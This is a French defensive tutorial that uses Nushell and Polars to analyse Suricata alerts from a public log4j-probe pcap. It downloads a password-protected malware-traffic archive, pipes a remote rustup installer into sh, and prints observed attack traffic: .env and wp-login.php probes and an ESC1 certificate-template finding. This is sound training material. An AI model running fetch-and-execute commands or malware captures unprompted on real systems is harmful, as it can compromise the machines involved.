

Analyse d'un incident de sécurité réseau avec Nushell et Suricata

Jean-Marc Pouchoulon

mars 2025

Suricata est un logiciel qui fait fonction d'IDS¹, d'IPS² et de NSM³. Il est bien connu des ingénieurs réseaux et sécurité. OpenSource et multi-OS, il s'installe facilement et apporte des informations essentielles sur la sécurité des flux.

NuShell est un Shell qui permet de traiter des données structurées. Performant (Il est basé sur le langage de programmation Rust), Il est en capacité de lire des fichiers de données au format json , xml, parquet entre autres et d'effectuer des conversions entre ces formats.

Avec Nushell l'analyste Cyber peut ainsi traiter des fichiers de logs et des fichiers de données de sécurité de taille importante et les analyser en profondeur.

Lors de la "Suricon2022", un "talk" présentait l'analyse d'un fichier pcap trace de l'infection d'une machine via la faille log4j sous la forme d'un notebook Jupyter⁴. Les outils utilisés principalement pour réaliser cette analyse étaient Jupyter, les packages Python Pandas , Scikit-learn, et le package Microsoft Msticpy.

La présentation m'a beaucoup intéressé et je me suis demandé si je pouvais utiliser NuShell en lieu et place de Python pour l'analyse des données de sécurité.

Le process d'analyse est le suivant :

- Récupération d'un fichier pcap sur le site "www.malware-traffic-analysis.net".
- Génération d'un fichier "eve.json" par Suricata à partir du pcap.
- Analyse du fichier "eve.json" avec NuShell.

Cet article est donc le résultat de mes investigations mais c'est surtout une preuve de concept de l'utilisation de NuShell et ses "core plugins" comme outils d'analyse de données Cyber.

Pour bien commencer installons NuShell et ses plugins.

1 Installation de NuShell et de ses "core plugins".

NuShell est encore jeune et se développe rapidement. J'ai du apprendre à le compiler pour avoir ses dernières fonctionnalités.

Allons-y avec un utilisateur non privilégié.

Installons d'abord Rust et ses utilitaires:

```
curl --proto '==https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
```

N'oubliez pas d'ajouter le répertoire `./cargo/bin` à votre PATH:

```
export PATH="~/cargo/bin:$PATH"
source .zshrc
```

-
1. Intrusion Detection System
 2. Intrusion Prevention System
 3. Network Security Monitoring
 4. <https://github.com/StamusNetworks/suricata-analytics.git>

Puis installez NuShell et les plugins choisis:

```
~/ .cargo/bin/cargo install nu --locked
~/ .cargo/bin/cargo install nu_plugin_formats --locked
~/ .cargo/bin/cargo install nu_plugin_polars --locked
~/ .cargo/bin/cargo install nu_plugin_query --locked
```

Ces plugins sont des "core plugins" dont le développement est suivi par l'équipe de NuShell et qui sont essentiels pour le traitement de données.

De façon plus élégante, vous pouvez installer les plugins depuis NuShell comme suit :

```
[ nu_plugin_inc
  nu_plugin_polars
  nu_plugin_gstat
  nu_plugin_formats
  nu_plugin_query
] | each { cargo install $in --locked } | ignore
```

Après avoir relancé NuShell, référez les plugins Polars, Query et formats:

```
nu
plugin add ~/.cargo/bin/nu_plugin_inc
plugin add ~/.cargo/bin/nu_plugin_polars
plugin add ~/.cargo/bin/nu_plugin_gstat
plugin add ~/.cargo/bin/nu_plugin_query
plugin add ~/.cargo/bin/nu_plugin_formats
exit
nu
plugin list
```

On vérifie que tout est bien installé :

```
— ' Welcome to Nushell,
'|, . , ' based on the nu language,
!_-( _\ where all data is structured!
```

Please [join](https://discord.gg/NtAbbGn) our Discord community at <https://discord.gg/NtAbbGn>

Our GitHub repository is at <https://github.com/nushell/nushell>

Our Documentation is located at <https://nushell.sh>

Tweet us at @nu_shell

Learn how to remove [this](https://nushell.sh/book/configuration.html#remove-welcome-message) at: <https://nushell.sh/book/configuration.html#remove-welcome-message>

It's been this long since Nushell's first commit:

5yrs 5months 17days 15hrs 26mins 55secs 753ms 710µs 668ns

Startup Time: 17ms 61µs 951ns

Pour avoir la toute dernière version de NuShell, vous pouvez aussi installer NuShell à partir de son code source:

```
git clone https://github.com/nushell/nushell.git
cd nushell
cargo build --release --workspace --locked
cargo install --locked --path .
cargo plugin add /home/student/nushell/target/release/nu_plugin_polars
```

Vous pouvez aussi télécharger les binaires de NuShell depuis le "repository" Github de NuShell¹.

1. <https://github.com/nushell/nushell/releases>

```
wget https://github.com/nushell/nushell/releases/download/0.101.0/nu-0.101.0-x86_64-unknown-linux-gnu.tar.gz
tar xfvz nu-0.101.0-x86_64-unknown-linux-gnu.tar.gz
cp -aR nu-0.101.0-x86_64-unknown-linux-gnu/* /usr/bin/
nu -c "plugin add /usr/bin/nu_plugin_inc;plugin add /usr/bin/nu_plugin_polars;plugin add /usr/bin/nu_plugin_gstat;plugin add /usr/bin/nu_plugin_query;plugin add /usr/bin/nu_plugin_stress_internals"
```

En dernière possibilité, vous pouvez encore utiliser Docker afin de lancer un shell dans un container Alpine ou Debian à la dernière version stable et avec quelques plugins activés:

```
mkdir -p /tmp/docker-nushell && cd /tmp/docker-nushell
wget https://raw.githubusercontent.com/nushell/nushell/refs/heads/main/docker/Dockerfile -O Dockerfile
docker build --no-cache . -t nushell-latest
docker run -it nushell-latest -c "plugin list | get name"
```

0	custom_values
1	example
2	formats
3	gstat
4	inc
5	polars
6	query
7	stress_internals

Je pense que j'ai fait le tour de la question pour ce dont nous avons besoin. Vous avez maintenant un shell prêt à l'emploi.

2 Un peu d'aide pour commencer

Je ne peux pas détailler ici toutes les commandes de NuShell. Si vous devez vous former sur NuShell, quatre articles ont été publiés dans "Linux Pratique" par Benoit Benedetti. Je vais vous préciser ce dont je me sers le plus souvent ou qui me semble intéressant.

2.1 Commande "help"

Outre le traditionnel "commande -help", vous pouvez obtenir des exemples des commandes de cette façon:

```
scope commands | where name == 'ps' | get examples | flatten | table -t light
```

0	List the system processes	ps
1	List the top 5 system processes with the highest memory usage	ps sort-by mem last 5
2	List the top 3 system processes with the highest CPU usage	ps sort-by cpu last 3
3	List the system processes with 'nu' in their names	ps where name =~ 'nu'
4	Get the parent process id of the current nu process	ps where pid == \$nu.pid get ppid

La commande "flatten" est utilisée pour "aplanir" des structures de données imbriquées. Elle est extrêmement utile.

2.2 Commande "explore"

Les développeurs de NuShell nous offrent la possibilité de faire un "less" sur ce tableau en utilisant la commande explore : Une video serait plus parlante pour montrer l'utilisation de la commande "explore" mais imaginez qu'avec les flèches de votre clavier vous pouvez naviguer dans le tableau affiché par NuShell.

```
~/Nextcloud/dev/nushell/security-scripts/suricata> zellij run -- nu -c 'open eve.json|where event_type == "alert"|explore'
```

```
nu -c open eve.json|where event_type == "alert"|explore
```

event_type	src_ip	src_port	dest_ip	dest_port	proto	pkt_src	alert	app_proto	direction	flow
alert	192.168.0.54	17500	255.255.255.255	17500	UDP	wire/pcap	{record 8 fields}	failed	to_server	{record 8 fields}
alert	108.160.165.83	443	192.168.0.54	50825	TCP	wire/pcap	{record 8 fields}	tls	to_client	{record 8 fields}
alert	192.168.0.54	50827	64.233.161.108	993	TCP	wire/pcap	{record 7 fields}	tls	to_server	{record 7 fields}
alert	192.168.0.54	50828	64.233.161.108	993	TCP	wire/pcap	{record 7 fields}	tls	to_server	{record 7 fields}
alert	212.227.17.171	110	192.168.0.53	2506	TCP	wire/pcap	{record 7 fields}	ftp	to_client	{record 7 fields}
alert	192.168.0.54	50834	64.233.161.108	993	TCP	wire/pcap	{record 7 fields}	tls	to_server	{record 7 fields}
alert	192.168.0.54	50835	64.233.161.108	993	TCP	wire/pcap	{record 7 fields}	tls	to_server	{record 7 fields}
alert	192.168.0.54	50836	64.233.161.108	993	TCP	wire/pcap	{record 7 fields}	tls	to_server	{record 7 fields}
alert	212.227.17.171	110	192.168.0.53	2521	TCP	wire/pcap	{record 7 fields}	ftp	to_client	{record 7 fields}
alert	192.168.0.54	50837	65.55.252.71	443	TCP	wire/pcap	{record 7 fields}	tls	to_server	{record 7 fields}
alert	192.168.0.54	50838	134.170.189.4	80	TCP	wire/pcap	{record 8 fields}	http	to_server	{record 8 fields}
alert	192.168.0.54	50840	65.55.54.42	80	TCP	wire/pcap	{record 8 fields}	http	to_server	{record 8 fields}
alert	192.168.0.54	50840	65.55.54.42	80	TCP	wire/pcap	{record 8 fields}	http	to_server	{record 8 fields}
alert	192.168.0.54	50845	191.237.168.212	443	TCP	wire/pcap	{record 7 fields}	tls	to_server	{record 7 fields}
alert	192.168.0.54	50849	65.55.252.72	443	TCP	wire/pcap	{record 7 fields}	tls	to_server	{record 7 fields}
alert	108.160.167.175	443	192.168.0.54	50850	TCP	wire/pcap	{record 8 fields}	tls	to_client	{record 8 fields}
alert	192.168.0.54	50854	64.233.161.108	993	TCP	wire/pcap	{record 7 fields}	tls	to_server	{record 7 fields}
alert	192.168.0.54	50855	64.233.161.108	993	TCP	wire/pcap	{record 7 fields}	tls	to_server	{record 7 fields}
alert	212.227.17.171	110	192.168.0.53	2536	TCP	wire/pcap	{record 7 fields}	ftp	to_client	{record 7 fields}
alert	108.160.166.141	443	192.168.0.54	50857	TCP	wire/pcap	{record 8 fields}	tls	to_client	{record 8 fields}
alert	192.168.0.54	50862	64.233.161.108	993	TCP	wire/pcap	{record 7 fields}	tls	to_server	{record 7 fields}
alert	192.168.0.54	50863	64.233.161.108	993	TCP	wire/pcap	{record 7 fields}	tls	to_server	{record 7 fields}
alert	192.168.0.54	50864	64.233.161.108	993	TCP	wire/pcap	{record 7 fields}	tls	to_server	{record 7 fields}
alert	212.227.17.171	110	192.168.0.53	2550	TCP	wire/pcap	{record 7 fields}	ftp	to_client	{record 7 fields}
alert	192.168.0.54	63860	192.168.0.1	53	UDP	wire/pcap	{record 8 fields}	dns	to_server	{record 8 fields}
alert	108.160.165.84	443	192.168.0.54	50866	TCP	wire/pcap	{record 8 fields}	tls	to_client	{record 8 fields}
alert	192.168.0.54	50868	213.155.151.153	443	TCP	wire/pcap	{record 7 fields}	tls	to_server	{record 7 fields}
alert	192.168.0.54	50873	192.168.0.1	8080	TCP	wire/pcap	{record 7 fields}	http	to_server	{record 7 fields}
alert	192.168.0.54	50877	192.168.0.1	8080	TCP	wire/pcap	{record 7 fields}	http	to_server	{record 7 fields}
alert	192.168.0.54	50886	192.168.0.1	8080	TCP	wire/pcap	{record 7 fields}	http	to_server	{record 7 fields}

On peut aussi faire du "drill-down" avec "explore" afin d'examiner le contenu de certains champs :

```
12:59:06
~/Nextcloud/dev/nushell/security-scripts/suricata> zellij run -- nu -c 'open eve.json|where event_type == "alert"|explore'
```

```
nu -c open eve.json|where event_type == "alert"|explore
```

session_resumed	sni	version	ja3	ja3s
true	imap.gmail.com	TLSv1	{record 2 fields}	{record 2 fields}

Votre table contiendra souvent un grand nombre de colonnes. La commande "explore" est une solution mais afficher une liste des colonnes peut s'avérer plus rapide. C'est le "job" de la commande "columns".

Prenons l'exemple d'une sortie issue du "certificate manager" d'un serveur Windows:

```
$tableau | where "Template Name" == 'ESC1' | columns
```

0	name
1	highvalue
2	Template Name
3	Display Name
4	Certificate Authorities
5	Enabled
6	Client Authentication
7	Enrollment Agent
8	Any Purpose
10	...
20	domain

On peut maintenant sélectionner les colonnes qui nous intéressent pour un affichage plus lisible :

\$tableau

```
| where "Template Name" == 'ESC1'  
| select 'name' 'Requires Manager Approval' 'Authorized Signatures Required'  
        'Enrollee Supplies Subject' 'Extended Key Usage'
```

#	name	Requires Manager Approval	Authorized Signatures Required	Enrollee Supplies Subject	Extended Key Usage
0	ESC1@SEVENKINGDOMS.LOCAL	false	0	true	Client Authentication

et même "transposer" le tableau :

\$tableau | where "Template Name" == 'ESC1' | transpose

	column0	column1
0	name	ESC1@SEVENKINGDOMS.LOCAL
1	highvalue	true
2	Template Name	ESC1
3	Display Name	ESC1
4	Certificate Authorities	SEVEN

Vous avez maintenant quelques éléments pour vous faciliter la vie avec NuShell. On va maintenant générer un fichier eve.json à partir d'un fichier pcap.

3 Génération d'un fichier de eve.json à partir d'un pcap

L'idée directrice est de partir d'un fichier "pcap" illustrant une intrusion, de le traiter avec Suricata afin d'obtenir un fichier json et de l'analyser avec NuShell.

Le site "www.malware-traffic-analysis.net" permet de récupérer ce type de pcap. Inutile de vous dire que l'on peut extraire des virus de ces fichiers pcap et que le mot de passe contient "infected" pour vous mettre en garde.

Ce n'est néanmoins pas le but de cet article qui est une base de formation défensive. C'est le pcap qui nous intéresse afin de faire générer des alertes par notre N.S.M Suricata.

Le fichier pcap est celui utilisé lors de la suricon 2022 et il est la trace d'une infection via la faille log4j. Il est téléchargeable sur le site "www.malware-traffic-analysis.net" :

Voyons comment le récupérer avec des commandes NuShell:

```
mkdir /tmp/logs  
cd /tmp/logs  
let site = "https://www.malware-traffic-analysis.net"  
let uri = "/2022/01/03/2022-01-03-three-days-of-server-probes-including-log4j-attempts.pcap.zip"  
let mon_url = [$site , $uri]|str join  
print $mon_url  
http get $mon_url  
    | save -f infected.zip  
7z x -p'infected_20220103' infected.zip  
rm -f infected.zip
```

Vous disposez maintenant du fichier 2022-01-03-three-days-of-server-probes-including-log4j-attempts.pcap dans votre directory

Il faut installer Suricata maintenant:

```
sudo apt -y install suricata  
sudo suricata-update enable-source tgreen/hunting  
sudo suricata-update
```

```
sudo suricata -S /var/lib/suricata/rules/suricata.rules \
-l /tmp/logs -r /tmp/logs/2022-01-03-three-days-of-server-probes-including-log4j-attempts.pcap -v
```

Le fichier eve.json ainsi généré dans la directory courante contient les traces d'activités suspectes laissées par nos attaquants et détectées par Suricata :

Vous avez maintenant à disposition le fichier eve.json. Il n'y a plus qu'à l'analyser avec NuShell.

4 Analyse des logs du fichier eve.json généré par Suricata

4.1 Analyse des logs avec NuShell: premiers pas

Suricata génère des logs au format json dans le fichier eve.json. Ces logs contiennent des informations utiles à l'analyste de sécurité sur les flux réseaux (Network Security Monitoring) et les alertes de sécurité générées par signature.

Essayons de lire le fichier eve.json avec la command *open* de NuShell : Mauvaise pioche...!

```
open eve.json
Error:  x Error while parsing as json
└─[entry #2:1:6]
1 | open eve.json
  |
  | └─ Could not parse '/home/pouchou/Nextcloud/formations/latex/articles/article_cyber_nushell/co
  |
  └─ help: Check out `help from json` or `help from` for more options or open raw data with `open --raw '/home/p
    formations/latex/articles/article_cyber_nushell/codes/eve.json`
```

En fait, le fichier est un fichier json multi-lignes. C'est à dire que chaque ligne du fichier est un objet json lié à un type de flux réseau analysé par Suricata.

Heureusement pour nous, l'option *--objects* de l'instruction *from* prend en compte le multi-lignes json.

```
cat eve.json|from json --objects
```

Ouf ca marche ! L'article aurait été plus court dans le cas contraire...

Regardons le contenu du flux récupéré avec la commande *describe*:

```
cat eve.json|from json --objects|describe
list<any> (stream)
```

Comme prévu, le flux étant hétérogène, on n'obtient pas une table mais une liste d'objets divers. Continuons tout de même notre primo-analyse avec la commande *columns* et la commande *length* qui nous donne le nombre de champs.

```
cat eve.json
| from json --objects
| columns
| length
40
```

C'est difficile de prime abord de s'y retrouver avec 40 champs.¹. Essayons de restreindre l'échantillon en utilisant les différents flux réseaux détectés par Suricata :

```
cat eve.json
| from json --objects
| get event_type
| uniq -c
| sort-by -r count
| table -t light
#      value      count
```

1. 40 champs c'est peu, sur une sonde Suricata en production on dépasse allègrement la centaine de champs

0	flow	23092
1	fileinfo	1234
2	http	1159
3	alert	133
4	dns	59
5	anomaly	36
6	snmp	25
7	sip	24
8	tftp	9
9	tls	6
10	bittorrent_dht	5
11	krb5	4
12	quic	4
13	ike	3
14	stats	1

C'est une bonne idée d'analyser chaque type de flux indépendamment, on a plus de chance de trouver des informations homogènes. En effet on obtient des informations structurées sous forme de table :

```
cat eve.json
| from json --objects
| where event_type == 'dns'
| describe
table<timestamp: string, flow_id: int, pcap_cnt: int, event_type: string, src_ip: string, src_port: int, beg
dest_ip: string, dest_port: int, proto: string, pkt_src: string, ether: record<src_mac: string,
dest_mac: string>, dns: record<type: string, id: int, rrtype: string, tx_id: int, opcode: in
> (stream)
```

La documentation de Suricata va nous aider en fournissant aussi des exemples de traitements des logs avec jq¹.

jq est un cousin de NuShell pour le traitement de données json en ligne de commande. Il reste plus performant que NuShell pour le traitement de données json mais c'est un spécialiste face à un généraliste et à mon sens, il est plus difficile à prendre en main. On va s'inspirer des requêtes de la documentation et les traduire en NuShell.

Analysons maintenant chacun de nos flux.

4.1.1 Analyse des logs avec NuShell: les flux DNS

Retrouvons les requêtes DNS ayant abouties à une réponse NXDOMAIN (Non Existent Domain) qui sont toujours intéressantes à analyser:

```
cat eve.json
| from json --objects
| where event_type == 'dns'
| where dns.rcode == 'NXDOMAIN'
| select timestamp src_ip dest_ip dns.rcode dns.rname
```

Toutes les requêtes DNS ont aboutis à une résolution. On va explorer la table générée:

```
cat eve.json
| from json --objects
| where event_type == "dns"
| flatten --all
| explore
```

puis on va afficher les colonnes qui nous intéressent:

```
cat eve.json
| from json --objects
```

1. <https://docs.suricata.io/en/latest/output/eve/eve-json-examplesjq.html>

```
| where event_type == "dns"
| get dns.rname
| str downcase
| uniq -c
| sort-by -r count
| table -t light
```

#	value	count
0	pizzaseo.com	13
1	version.bind	9
2	box.com	3
3	macys.com	3
4	gap.com	3
5	a200e4fd.asert-dns-research.com	3
6	amazon.com	3
7	dnsscan.shadowserver.org	3
8	ip.parrotdns.com	2
9	fiverr.com	2
10	microsoft.com	2
11	nordstrom.com	2
12	198.71.247.91.1641207600.main.research.openresolve.rs	1
13	xerox.com	1
14	rr-mirror.research.nawrocki.berlin	1
15	peacecorps.gov	1
16	com	1
17	researchscan541.eecs.umich.edu	1
18	ai.gov	1
19	1641053059.a200e4fd.2022-01-01-00-02-nxd.open-resolver-scan.research.icann.org	1
20	a.botnet.cc	1
21	www.iana.org	1
22	nokia.com	1

”botnet.cc” est un nom de domaine pour le moins étrange mais je ne saurais dire si c’est un domaine malveillant. Passons au flux web.

4.1.2 Analyse des logs avec NuShell: les flux web

On va sélectionner les flux web et les afficher avec explore en sélectionnant les colonnes qui nous intéressent:

```
cat eve.json
| from json --objects
| where event_type == "http"
| flatten
| select src_ip hostname url http_user_agent
| explore
```

Error: nu::shell::column_not_found

```
× Cannot find column 'http_user_agent'
└─[entry #82:1:14]
```

```
1 | cat eve.json | from json --objects | where event_type == "http" | flatten | ...http_user_agent | explore
. |
. |
. |
└─ value originates here
└─ cannot find column 'http_user_agent'
```

Aie! On a un problème avec la colonne ”http_user_agent” et pourtant elle existe bien :

```
cat eve.json
| from json --objects
| where event_type == "http"
```



```

| flatten
| columns
| grep agent
# la colonne existe bien
20 | http_user_agent

```

Et alors ...? En fait le champ `http_user_agent` n'est pas présent dans chaque enregistrement ce qui génère cette erreur.

Il y a plusieurs moyens de contourner le problème:

- Utiliser l'option `-ignore` avec les commandes *select* et *get* afin d'ignorer les erreurs. J'ai constaté que cette option ne suffisait pas toujours. On arrive à faire un *select* ou un *get* mais les autres opérations dans le pipeline ne sont pas conçues pour ignorer les erreurs: le pipeline s'arrête alors.
- Remplir les champs avec une valeur par défaut avec la commande "default" "nom_de_colonne" "valeur-par-defaut".
- Utilisez le binding `polars` pour Nushell. On en reparle un peu plus loin....

Essayons avec les deux premières méthodes :

```

cat eve.json
| from json --ob-cts
| where event_type == "http"
| flatten
| select -i src_ip hostname url http_user_agent
| explore

```

ou

```

cat eve.json
| from json --objects
| where event_type == "http"
| flatten
| default "noagent" http_user_agent
| default "nohostname" hostname
| default "nourl" url
| select src_ip hostname url http_user_agent
| explore

```

Le résultat est identique dans les deux cas. Ici c'est la méthode "default" qui est affichée:

src_ip	hostname	url	http_user_agent
64.62.197.32	198.71.247.91	/	noagent
64.225.75.232	198.71.247.91	/.env	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4399.72 Safari/537.36
141.101.104.20	lifeisnetwork.com	/test/.env	Python/3.8 aiohttp/3.8.1
141.101.76.131	lifeisnetwork.com	/testing/.env	Python/3.8 aiohttp/3.8.1
172.69.71.179	pay2u.dev	/	Go http package
141.101.104.220	lifeisnetwork.com	/development/.env	Python/3.8 aiohttp/3.8.1
141.101.104.240	lifeisnetwork.com	/api/.env	Python/3.8 aiohttp/3.8.1
170.233.46.155	198.71.247.91	/	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4399.72 Safari/537.36
172.70.135.112	lifeisnetwork.com	/.env	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15; rv:77.0) Gecko/20100101 Firefox/77.0
128.14.134.170	198.71.247.91	/	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4399.72 Safari/537.36
162.158.88.141	pay2u.dev	/robots.txt	Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)
162.158.178.59	vipmasternode.com	/wp-login.php	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
175.145.248.72	198.71.247.91	/.env	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4399.72 Safari/537.36
219.84.187.214	198.71.247.91	/	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4399.72 Safari/537.36
141.101.104.20	lifeisnetwork.com	/localhost/.env	Python/3.8 aiohttp/3.8.1
18.144.83.109	198.71.247.91	/	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4399.72 Safari/537.36
141.101.76.193	lifeisnetwork.com	/stag/.env	Python/3.8 aiohttp/3.8.1
172.68.25.226	lifeisnetwork.com	/wp-login.php	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
141.101.105.39	lifeisnetwork.com	/.env	Python/3.8 aiohttp/3.8.1
141.101.76.101	lifeisnetwork.com	/ignition/execute-solution	Python/3.8 aiohttp/3.8.1
141.101.76.193	lifeisnetwork.com	/dev/.env	Python/3.8 aiohttp/3.8.1
172.69.71.83	pay2u.dev	/stream/live.php	Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4399.72 Safari/537.36
108.162.245.47	vipmasternode.com	/.env	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15; rv:77.0) Gecko/20100101 Firefox/77.0
157.55.39.214	198.71.247.91	/	Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
141.101.76.147	lifeisnetwork.com	/core/.env	Python/3.8 aiohttp/3.8.1
141.101.77.4	lifeisnetwork.com	/public/.env	Python/3.8 aiohttp/3.8.1
141.101.76.101	lifeisnetwork.com	/locally/.env	Python/3.8 aiohttp/3.8.1
141.101.104.240	lifeisnetwork.com	/	Python/3.8 aiohttp/3.8.1
141.101.76.189	lifeisnetwork.com	/production/.env	Python/3.8 aiohttp/3.8.1
178.211.57.76	www.doggydaycare.dog	/	python-requests/2.23.0

Les attaques sont évidentes: les `.env` sont très appréciés visiblement...

La solution avec "default" est inapplicable si vous avez un grand nombre de champs à initialiser.

Pour contourner le problème, j'ai développé une commande NuShell¹ qui permet de générer une commande NuShell avec une initialisation par "default" des champs de toutes les colonnes d'un fichier json.

L'instruction *use* est l'équivalent de l'*import* du langage Python.

```
use GenCommandSuri.nu
GenCommandSuri eve.json -f eve
source /tmp/commande.nu
```

ceci n'est que le début de la commande générée par GenCommandSuri...

```
cat eve.json | flatten | default 'nodta-timestamp' 'timestamp' | default 'nodta-flow_id' 'flow_id' | default 'nodta-src_ip' 'src_ip' | default 'nodta-src_port' 'src_port' | default 'nodta-dest_ip' 'dest_ip' | default 'nodta-url' 'url' | default 'nodta-http_user_agent' 'http_user_agent' | default 'nodta-http_content_type' 'http_content_type' | default 'nodta-http_method' 'http_method' | default 'nodta-protocol' 'protocol' | default 'nodta-status' 'status'
```

C'est un peu "bourrin" mais ça fonctionne. Les générateurs de code sont plus vieux que moi et ils ont fait leurs preuves...

4.1.3 Analyse des logs avec NuShell: quantification des flux

Un ingénieur réseau est souvent amené à quantifier les flux. C'est assez naturel de vouloir savoir combien de flux ont été générés sur l'ensemble du trafic par une adresse IP.

C'est La commande *group-by* de NuShell qui nous permet de répondre à ce type de question. Au vu du faible nombre de colonnes on peut utiliser la commande *less* permet de "pager" le résultat.

```
cat eve.json
| from json --objects
| where event_type == 'alert'
| flatten
| select src_ip dest_ip
| group-by src_ip --to-table
| sort-by -r {$in.items|length}
| table --expand -t light
| less
```

#	group	#	src_ip	dest_ip
0	198.71.247.91	0	198.71.247.91	121.127.177.213
		1	198.71.247.91	103.28.60.33
		2	198.71.247.91	185.94.111.1
		3	198.71.247.91	186.220.97.233
		4	198.71.247.91	220.134.61.211
		5	198.71.247.91	201.123.84.254
		6	198.71.247.91	185.241.10.35
		7	198.71.247.91	34.75.65.82
		8	198.71.247.91	45.9.20.57
		9	198.71.247.91	78.128.112.18
		10	198.71.247.91	35.193.124.44
		11	198.71.247.91	45.146.166.188
1	185.94.111.1	0	185.94.111.1	198.71.247.91
		1	185.94.111.1	198.71.247.91
		2	185.94.111.1	198.71.247.91
		3	185.94.111.1	198.71.247.91
		4	185.94.111.1	198.71.247.91

1. <https://github.com/pushou/NuShellPublic.git>

2	157.245.70.127	5	185.94.111.1	198.71.247.91
		#	src_ip	dest_ip
		0	157.245.70.127	198.71.247.91
		1	157.245.70.127	198.71.247.91
		2	157.245.70.127	198.71.247.91
3	141.98.10.114	3	157.245.70.127	198.71.247.91
		#	src_ip	dest_ip
		0	141.98.10.114	198.71.247.91
		1	141.98.10.114	198.71.247.91

Je n'aime pas trop le résultat obtenu : je préférerais avoir une colonne avec l'IP source et une autre avec le nombre d'IP de destination. Malheureusement pour le moment on ne peut pas agréger les données d'un champ après *"group-by"*.

Une des solutions est de passer par un dataframe Polars pour faire le traitement. C'est que nous allons faire dans la chapitre suivant.

4.2 Utilisation de Nushell et Polars pour l'analyse des logs de Suricata

Polars est une librairie écrite en Rust pour faire du traitement de données.

Il y a un moteur d'optimisation de requêtes et le *"lazy mode"* permet de limiter la mémoire utilisée pour traiter les données. Il étend les capacités de NuShell pour le traitement de données et permet de traiter des fichiers de taille plus importante.

C'est une alternative au package Pandas de Python et le Plugin Polars est un binding NuShell sur le "moteur" de Polars. Il est relativement aisé de traduire des commandes du binding Polars Python pour le binding Python NuShell.

Polars enfin permet d'agréger une colonne en comptant le nombre d'éléments distincts ainsi que bien d'autres opérations mean, max-min...

```
cat eve.json
| from json --objects
| where event_type == 'alert'
| flatten
| select src_ip dest_ip
| polars into-df
| polars group-by src_ip
| polars agg (polars col dest_ip | polars as nb_dest_ip | polars count)
| polars collect
| polars into-nu
| sort-by -r nb_dest_ip
| first 5
| table -t light
```

#	src_ip	nb_dest_ip
0	198.71.247.91	12
1	185.94.111.1	6
2	157.245.70.127	4
3	141.98.10.114	4
4	147.182.237.4	3

Plus lisible non ? C'est plus lisible mais il vaudrait mieux charger les données directement avec la commande *polars open* pour éviter charger le fichier en mémoire avec NuShell.

```
polars open eve.json --infer-schema 5000 -t ndjson
| polars filter ((polars col event_type) == 'alert')
| polars select src_ip dest_ip
| polars group-by src_ip
```

```
| polars agg (polars col dest_ip | polars as nb_dest_ip | polars count)
| polars sort-by [ nb_dest_ip ] -r [true]
| polars first 5
| polars collect
```

#	src_ip	nb_dest_ip
0	198.71.247.91	12
1	185.94.111.1	6
2	141.98.10.114	4
3	157.245.70.127	4
4	66.240.205.34	3

En effet il y un gain de traitement non négligeable (x5) si on utilise directement le plugin Polars.

```
timeit { polars open eve.json --infer-schema 5000 -t ndjson
| polars filter ((polars col event_type) == 'alert')
| polars select src_ip dest_ip
| polars group-by src_ip
| polars agg (polars col dest_ip | polars as nb_dest_ip | polars count)
| polars sort-by [ nb_dest_ip ] -r [true]
| polars first 5
| polars collect}
56ms 225µs 272ns
```

```
timeit { cat eve.json
| from json --objects
| where event_type == 'alert'
| flatten
| select src_ip dest_ip
| polars into-df
| polars group-by src_ip
| polars agg (polars col dest_ip | polars as nb_dest_ip | polars count)
| polars collect
| polars into-nu
| sort-by -r nb_dest_ip
| first 5
| table -t light}
277ms 100µs 890ns
```

Le nombre d'octets échangés est aussi un indicateur intéressant pour quantifier les flux et repérer des anomalies.

On va additionner les deux colonnes bytes_toclient et bytes_toserver afin d'obtenir le nombre total d'octets échangés.

Le basculement sur le binding Polars se fait au travers de la commande *polars into-df* et la sortie est convertie en NuShell avec la commande *polars into-nu*.

Il est nécessaire de "caster" les colonnes bytes en float afin de pouvoir les additionner. Au passage vous pouvez observer la création d'une nouvelle colonne "total_bytes".

"*polars unnest*" permet de "déplier" les structures imbriquées et génère de nouvelles colonnes. *polars flatten* ne fonctionne pas pour les structures.

```
polars open eve.json --infer-schema 50 -t ndjson
| polars filter ((polars col event_type) == 'flow')
| polars select flow (polars col src_ip | polars as src_ip_up) (polars col dest_ip | polars as dest_ip_up)
```

```

| polars unnest flow
| polars select src_ip_up dest_ip_up bytes_to_server bytes_to_client
| polars group-by dest_ip_up
| polars agg [(polars col bytes_to_client | polars cast f64 | polars sum)
              (polars col bytes_to_server | polars cast f64 | polars sum)]
| polars with-column ((polars col bytes_to_server
                      | polars cast f64) + (polars col bytes_to_client | polars cast f64) | polars as "total_bytes")
| polars sort-by total_bytes -r [true]
| polars collect

```

#	dest_ip_up	bytes_to_client	bytes_to_server	total_bytes
0	198.71.247.91	1149621.00	2498985.00	3648606.00
1	91.189.91.157	10620.00	10890.00	21510.00
2	147.182.237.4	4569.00	6630.00	11199.00
3	89.187.170.167	2896.00	4480.00	7376.00
4	12.94.236.218	0.00	1108.00	1108.00
5	65.8.65.93	0.00	1108.00	1108.00
6	98.75.86.68	0.00	1108.00	1108.00
7	183.172.33.186	0.00	554.00	554.00
8	59.29.104.104	0.00	554.00	554.00
9	28.95.185.23	0.00	554.00	554.00
.
0	165.223.4.49	0.00	540.00	540.00
1	236.180.117.43	0.00	540.00	540.00
2	145.30.179.239	0.00	540.00	540.00
3	251.197.60.163	0.00	540.00	540.00

